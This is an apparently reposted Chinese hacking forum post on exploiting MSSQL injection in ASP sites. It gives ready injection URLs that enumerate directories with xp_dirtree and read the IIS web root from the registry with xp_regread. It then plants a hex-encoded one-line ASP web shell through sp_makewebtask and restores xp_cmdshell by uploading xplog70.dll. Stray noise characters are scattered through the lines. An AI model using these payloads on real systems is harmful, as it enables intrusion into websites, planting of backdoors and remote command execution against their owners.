MSsqlL注入取得网站路径最好的方法

admin

好，我们exec master..xp_dirtree'd:/test'
假设我们在test里有两个文件夹test1和test2在test1里又有test3
结果显示

subdirectory depth
2 ]: G& x* N. ctest1 1
) `0 k* g+ e6 `) ^# c5 Vtest3 2
; ^" y( x- e# L$ F" G& `test2 1

! M* [. K1 S; [- @哈哈发现没有那个depth就是目录的级数
0 k0 V" {6 F, {0 dok了，知道怎么办了吧

http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000),id int)--
http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'd:\' --
7 U6 t# f& r! }% H* G/ x2 uhttp://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where id=1)-
8 U. ~, i# H5 h
只要加上id＝1，就是第一级目录 。
& H) P" u( x1 o$ }" x) `: Q

' s4 r( Y! z/ ?7 |: p% q! N8 j通过注册表读网站路径:
0 h( x  g7 a! J, v/ H
1.;create table [dbo].[cyfd] ([gyfd][char](255));

  ~$ Y7 G" q( k% z! S2.DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', 'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into 临时表 (临时字段名) values(@result);--
id=2;DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into cyfd (gyfd) values(@result);--

3.and 1=(select count(*) from 临时表 where 临时字段名>1)
3 h' P7 {7 L2 [: Tand 1=(select count(*) from cyfd where gyfd > 1)
这样IE报错,就把刚才插进去的Web路径的值报出来了

' X8 [# X7 w0 t; L1 s9 Z( @4.drop table cyfd;-- 删除临时表

获得webshell方法:
1.create table cmd (a image)-- \**cmd是创建的临时表
, @8 f# U+ [. o3 V( y  Y2 e
- g8 t  w% N( m# P5 U2.insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253EDA)-- 往cmd表里插入一句话
; i8 X6 L; l! m' y2 c0 l! r

3.EXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT image FROM cmd'
1 b6 k7 H4 l& H( f# W& nEXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'
* w. n  W8 B6 ]: P; V- L
. Q1 K6 V! y8 v7 m/ @% f" p7 d4.drop table cmd;-- 删除cmd临时表

' B" c! I5 J" h4 z' s0 Q4 Q恢复xp_cmdshell方法之一:
  J' P+ U5 h7 u7 F: B: r  i我很快就把xplog70.dll文件给他上传到e:\inetpub\wwwroot目录下了，来吧，我们来给他恢复，提交：
http://www.something.com/script.asp?id=2;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetpub\wwwroot\xplog70.dll'
恢复，支持绝对路径的恢复哦。：）
" Z# q( K& o+ F8 A! O2 g